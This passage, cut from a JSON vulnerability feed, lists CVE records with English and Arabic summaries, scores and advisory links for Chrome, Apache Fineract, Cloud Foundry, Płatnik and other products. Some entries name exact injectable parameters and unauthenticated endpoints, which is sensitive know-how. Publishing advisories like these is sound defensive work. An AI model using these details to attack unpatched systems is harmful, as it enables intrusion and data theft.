الصلاحيات."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000523220/dsa-2026-467-security-update-for-dell-openmanage-enterprise-vulnerabilities?msockid=3021cac2195069ed3194ddad186a68f9","advisory"]],"epss":0.0047,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-openmanage-enterprise"},{"id":"CVE-2026-110972","cvss":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","cwe":"CWE-603","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T11:56:49Z","product":"Zakład Ubezpieczeń Społecznych Płatnik","affected":[["0 – 10.02.002",null]],"title":{"en":"Use of Client-Side Authentication in Płatnik","ar":"استخدام المصادقة من جهة العميل في Płatnik"},"summary":{"en":"Płatnik performs client-side authentication. An attacker with access to any application instance connected to the backend server can bypass the login verification process and authenticate as an arbitrary user. This issue was fixed in metric 334 in version 10.02.002.","ar":"تقوم Płatnik بتنفيذ المصادقة من جهة العميل. يمكن للمهاجم الذي يمتلك حق الوصول إلى أي مثيل للتطبيق متصل بخادم الواجهة الخلفية تجاوز عملية التحقق من تسجيل الدخول والمصادقة كأي مستخدم عشوائي. تم إصلاح هذه المشكلة في metric 334 في الإصدار 10.02.002."},"refs":[["https://cert.pl/posts/2026/10/CVE-2026-110970","advisory"],["https://www.zus.pl/firmy/program-platnik/o-programie-platnik","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zak-ad-ubezpiecze-spo-ecznych-p-atnik"},{"id":"CVE-2026-110971","cvss":7.7,"vector":"CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-261","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T11:56:44Z","product":"Zakład Ubezpieczeń Społecznych Płatnik","affected":[["0 – 10.02.002",null]],"title":{"en":"Weak password encoding in Płatnik","ar":"ترميز كلمات المرور الضعيف في Płatnik"},"summary":{"en":"Use of a weak password encoding algorithm in Płatnik software allows a user who obtains encoded password to easily decode it. This issue was fixed in metric 334 in version 10.02.002.","ar":"يؤدي استخدام خوارزمية ترميز كلمات مرور ضعيفة في برنامج Płatnik إلى السماح للمستخدم الذي يحصل على كلمة المرور المرمزة بفك ترميزها بسهولة. تم إصلاح هذه المشكلة في metric 334 في الإصدار 10.02.002."},"refs":[["https://cert.pl/posts/2026/10/CVE-2026-110970","advisory"],["https://www.zus.pl/firmy/program-platnik/o-programie-platnik","ref"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zak-ad-ubezpiecze-spo-ecznych-p-atnik"},{"id":"CVE-2026-64618","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T09:17:15Z","product":"Apache Fineract","affected":[[" – <1.16.0","1.16.0"]],"title":{"en":"Improper Neutralization of Special Elements used in an SQL Command (\"SQL Injection\") vulnerability exists in Apache Fineract (through version 1.15.0).","ar":"توجد ثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر SQL (\"حقن SQL\") في Apache Fineract (حتى الإصدار 1.15.0)."},"summary":{"en":"Improper Neutralization of Special Elements used in an SQL Command (\"SQL Injection\") vulnerability exists in Apache Fineract (through version 1.15.0). The vulnerability affects the outStandingAmountPercentageCondition parameter of the /fineract-provider/api/v1/search/advance HTTP API endpoint, allowing SQL injection due to insufficient input neutralization. Users are recommended to upgrade to version 1.16.1, which will fix the issue.","ar":"توجد ثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر SQL (\"حقن SQL\") في Apache Fineract (حتى الإصدار 1.15.0). تؤثر الثغرة على المعامل outStandingAmountPercentageCondition في نقطة نهاية واجهة برمجة تطبيقات HTTP /fineract-provider/api/v1/search/advance، مما يسمح بحقن SQL بسبب عدم كفاية تحييد المدخلات. يوصى المستخدمون بالترقية إلى الإصدار 1.16.1 لمعالجة المشكلة."},"refs":[["https://github.com/apache/fineract/pull/6153","patch"],["https://lists.apache.org/thread/s8orckszcd9x4d1qsloc046ppf5q9oc7","advisory"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-fineract"},{"id":"CVE-2026-65874","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T09:17:15Z","product":"Apache Fineract","affected":[[" – <1.16.0","1.16.0"]],"title":{"en":"This issue affects Apache Fineract versions up to and including 1.15.0.","ar":"تؤثر هذه المشكلة على إصدارات Apache Fineract حتى الإصدار 1.15.0 وضمنه."},"summary":{"en":"This issue affects Apache Fineract versions up to and including 1.15.0. The Center read endpoint (GET /api/v1/centers) and the datatable entry read endpoints (GET /api/v1/datatables/{datatable}/{apptableId} and GET /api/v1/datatables/{datatable}/{apptableId}/{datatableId}) concatenate caller-supplied ordering parameters (orderBy, sortOrder, order) directly into the SQL ORDER BY clause. The existing regex-based input validation can be bypassed, allowing time-based blind SQL injection by any authenticated user with read access to centers or to the targeted datatable. Users are recommended to upgrade to 1.16.1 which fixes the issue.","ar":"تؤثر هذه المشكلة على إصدارات Apache Fineract حتى الإصدار 1.15.0 وضمنه. تقوم نقطة نهاية قراءة المراكز (GET /api/v1/centers) ون نقاط نهاية قراءة إدخالات جداول البيانات (GET /api/v1/datatables/{datatable}/{apptableId} و GET /api/v1/datatables/{datatable}/{apptableId}/{datatableId}) بربط معاملات الترتيب المقدمة من المتصل (orderBy، sortOrder، order) مباشرة في جملة SQL ORDER BY. يمكن تجاوز التحقق من صحة المدخلات المستند إلى التعبيرات النمطية الحالي، مما يسمح بحقن SQL الأعمى المستند إلى الوقت بواسطة أي مهاجم يملك حسابًا مصادقًا عليه ولديه صلاحية القراءة للمراكز أو لجداول البيانات المستهدفة. يوصى المستخدمون بالترقية إلى 1.16.1 لمعالجة المشكلة."},"refs":[["https://github.com/apache/fineract/pull/6230","patch"],["https://github.com/apache/fineract/pull/6277","patch"],["https://lists.apache.org/thread/c4q539mkm5blnp5vdb72tzq6r9qg7bdh","advisory"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apache-fineract"},{"id":"CVE-2026-59387","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T08:47:59Z","product":"Cloud Foundry CAPI (Cloud Controller API)","affected":[["0 – <v1.247.0","v1.247.0"],["0 – <60.7.0","60.7.0"]],"title":{"en":"Broken access control restriction in Cloud Controller API","ar":"قيد التحكم في الوصول المكسور في واجهة برمجة تطبيقات Cloud Controller"},"summary":{"en":"The Nginx routing configuration for Cloud Controller blocks unauthenticated access to /internal/v4/ and /internal/v5/ endpoints but omits an equivalent deny rule for /internal/v3/. As a result, the staging callback endpoints /internal/v3/staging/:guid/droplet_completed and /internal/v3/staging/:guid/build_completed are reachable from the public API listener without OAuth or mutual TLS. An attacker with a valid build or droplet GUID can submit a forged staging callback, transition a droplet to STAGED, and persist arbitrary process metadata and sidecar data with no associated package or actor. A SpaceAuditor can enumerate GUIDs without write permissions, making this an effective privilege escalation beyond the intended role boundary.","ar":"تكوين توجيه Nginx لـ Cloud Controller يمنع الوصول غير المصادق عليه إلى نقاط النهاية \"/internal/v4/\" و \"/internal/v5/\" ولكنه يحذف قاعدة رفض مكافئة لـ \"/internal/v3/\". ونتيجة لذلك، يمكن الوصول إلى نقاط نهاية معاودة الاتصال لمرحلة الإعداد \"/internal/v3/staging/:guid/droplet_completed\" و \"/internal/v3/staging/:guid/build_completed\" من مستمع واجهة برمجة التطبيقات العام بدون OAuth أو بروتوكول TLS المتبادل. يمكن للمهاجم الذي لديه معرف فريد (GUID) صالح للبناء أو القطرة إرسال معاودة اتصال إعداد مزورة، ونقل قطرة إلى حالة STAGED، والاحتفاظ بيانات بيانات فرعية وبيانات جانبية تعسفية بدون حزمة أو فاعل مرتبط. يمكن لـ SpaceAuditor تعداد المعرفات الفريدة دون صلاحيات الكتابة، مما يجعل هذا تصعيداً فعالاً للصلاحيات خارج حدود الدور المقصود."},"refs":[["https://www.cloudfoundry.org/blog/cve-2026-59387-broken-access-control-restriction-in-cloud-controller-api/","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"cloud-foundry-capi"},{"id":"CVE-2026-103963","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T05:16:57Z","product":"Red Hat Red Hat Enterprise Linux 10","affected":[],"title":{"en":"Glib-networking: unbounded tls 1.3 session ticket queue growth in glib-networking allows remote denial of service","ar":"Glib-networking: نمو طابور تذاكر جلسة TLS 1.3 غير المحدد في glib-networking يتيح حجب الخدمة عن بُعد"},"summary":{"en":"A flaw was found in glib-networking. When establishing connections using Transport Layer Security (TLS) version 1.3, the client-side session cache does not limit the number of session tickets retained for a single host. A malicious server can exploit this by sending excessive session ticket messages, causing the client application to continuously consume memory. This unbounded memory growth can exhaust system memory, resulting in a Denial of Service (DoS).","ar":"تم اكتشاف خلل في glib-networking. عند إنشاء الاتصالات باستخدام إصدار أمان طبقة النقل (TLS) 1.3، لا يحدد التخزين المؤقت لجلسة جانب العميل عدد تذاكر الجلسة المحتفظ بها لمضيف واحد. يمكن لخادم ضار استغلال ذلك عن طريق إرسال رسائل تذاكر جلسة مفرطة، مما يتسبب في استهلاك تطبيق العميل للذاكرة بشكل مستمر. يمكن أن يؤدي هذا النمو غير المحدد للذاكرة إلى استنفاد ذاكرة النظام، مما يؤدي إلى حجب الخدمة (DoS)."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-103963","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2465656","ref"],["https://gitlab.gnome.org/GNOME/glib-networking/-/merge_requests/288","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"red-hat-enterprise-linux"},{"id":"CVE-2026-107249","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-915","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T04:17:43Z","product":"Drupal Block AJAX","affected":[["0.0.0 – <3.0.2","3.0.2"]],"title":{"en":"Block AJAX - Highly critical - PHP object injection - SA-CONTRIB-2026-192","ar":"Block AJAX - حرج للغاية - حقن كائنات PHP - SA-CONTRIB-2026-192"},"summary":{"en":"Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in Drupal Block AJAX allows Object Injection. This issue affects Block AJAX versions: from 0.0.0 to 3.0.2.","ar":"ثغرة التعديل غير المتحكَم فيه بشكل صحيح لسمات الكائنات المحددة ديناميكياً في Drupal Block AJAX تسمح بحقن الكائنات. تؤثر هذه المشكلة على إصدارات Block AJAX: من 0.0.0 إلى 3.0.2."},"refs":[["https://www.drupal.org/sa-contrib-2026-192","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"drupal-block-ajax"},{"id":"CVE-2026-76026","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:47Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Memory corruption in Autofill in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a cra","ar":"تلف في الذاكرة ضمن ميزة الإدخال التلقائي في Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً"},"summary":{"en":"Memory corruption in Autofill in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"تلف في الذاكرة ضمن ميزة الإدخال التلقائي في Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/567673200","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-76028","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:47Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Use after free in FileSystem in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a craf","ar":"استخدام الذاكرة بعد تحريرها في FileSystem ضمن Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً"},"summary":{"en":"Use after free in FileSystem in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في FileSystem ضمن Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/569012015","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-76029","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:47Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Memory corruption in Network in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbo","ar":"تلف في الذاكرة ضمن الشبكة في Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً"},"summary":{"en":"Memory corruption in Network in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"تلف في الذاكرة ضمن الشبكة في Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/572055997","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-76030","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:47Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the san","ar":"تلف في الذاكرة ضمن FileSystem في Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً"},"summary":{"en":"Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"تلف في الذاكرة ضمن FileSystem في Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/572269631","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-76031","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:47Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Use after free in Input in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted H","ar":"استخدام الذاكرة بعد تحريرها في Input ضمن Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً"},"summary":{"en":"Use after free in Input in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في Input ضمن Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/572556403","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-119271","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:46Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Use after free in Skia in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HT","ar":"استخدام الذاكرة بعد تحريرها في Skia ضمن Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً"},"summary":{"en":"Use after free in Skia in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في Skia ضمن Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/577403270","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-76025","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:46Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Use after free in FileSystem in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a craf","ar":"استخدام الذاكرة بعد تحريرها في FileSystem ضمن Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً"},"summary":{"en":"Use after free in FileSystem in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"استخدام الذاكرة بعد تحريرها في FileSystem ضمن Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/559780982","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-119263","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:45Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Memory corruption in GarbageCollection in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code outside","ar":"تلف في الذاكرة ضمن GarbageCollection في Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية خارج نطاق الحماية عبر صفحة HTML معدة خصيصاً"},"summary":{"en":"Memory corruption in GarbageCollection in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"تلف في الذاكرة ضمن GarbageCollection في Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية خارج نطاق الحماية عبر صفحة HTML معدة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/575143870","ref"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-119264","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:45Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Memory corruption in Dawn in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox v","ar":"تلف في الذاكرة ضمن Dawn في Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً"},"summary":{"en":"Memory corruption in Dawn in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"تلف في الذاكرة ضمن Dawn في Google Chrome قبل الإصدار 156.0.8078.79 سمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل نطاق الحماية عبر صفحة HTML معدة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/575150692","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-119265","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:45Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Memory corruption in Quota in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox ","ar":"فساد في الذاكرة ضمن Quota في Google Chrome قبل الإصدار 156.0.8078.79 يسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل الحصانة (sandbox)"},"summary":{"en":"Memory corruption in Quota in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى وجود فساد في الذاكرة ضمن Quota في Google Chrome قبل الإصدار 156.0.8078.79 إلى السماح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل الحصانة (sandbox) عبر صفحة HTML مصممة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/575201795","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-119266","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:45Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Use after free in Quota in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via","ar":"استخدام الذاكرة بعد تحريرها في Quota في Google Chrome قبل الإصدار 156.0.8078.79 يسمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل الحصانة"},"summary":{"en":"Use after free in Quota in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى استخدام الذاكرة بعد تحريرها في Quota في Google Chrome قبل الإصدار 156.0.8078.79 إلى السماح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل الحصانة (sandbox) عبر صفحة HTML مصممة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/575202553","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-119267","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:45Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Memory corruption in DOM in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox vi","ar":"فساد في الذاكرة ضمن DOM في Google Chrome قبل الإصدار 156.0.8078.79 يسمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل الحصانة"},"summary":{"en":"Memory corruption in DOM in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","ar":"أدى وجود فساد في الذاكرة ضمن DOM في Google Chrome قبل الإصدار 156.0.8078.79 إلى السماح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة عشوائية داخل الحصانة (sandbox) عبر صفحة HTML مصممة خصيصاً. (خطورة أمان Chromium: عالية)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02107719452.html","advisory"],["https://issues.chromium.org/issues/576203565","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-119268","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T01:16:45Z","product":"Google Chrome","affected":[[" – <156.0.8078.79","156.0.8078.79"]],"title":{"en":"Integer overflow in Editing in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox","ar":"فيضان عدد صحيح ضمن Editing في Google Chrome قبل الإصدار 156.0.8078.79 يسمح لمهاجم عن بُعد باحتمالية تنفيذ شيفرة 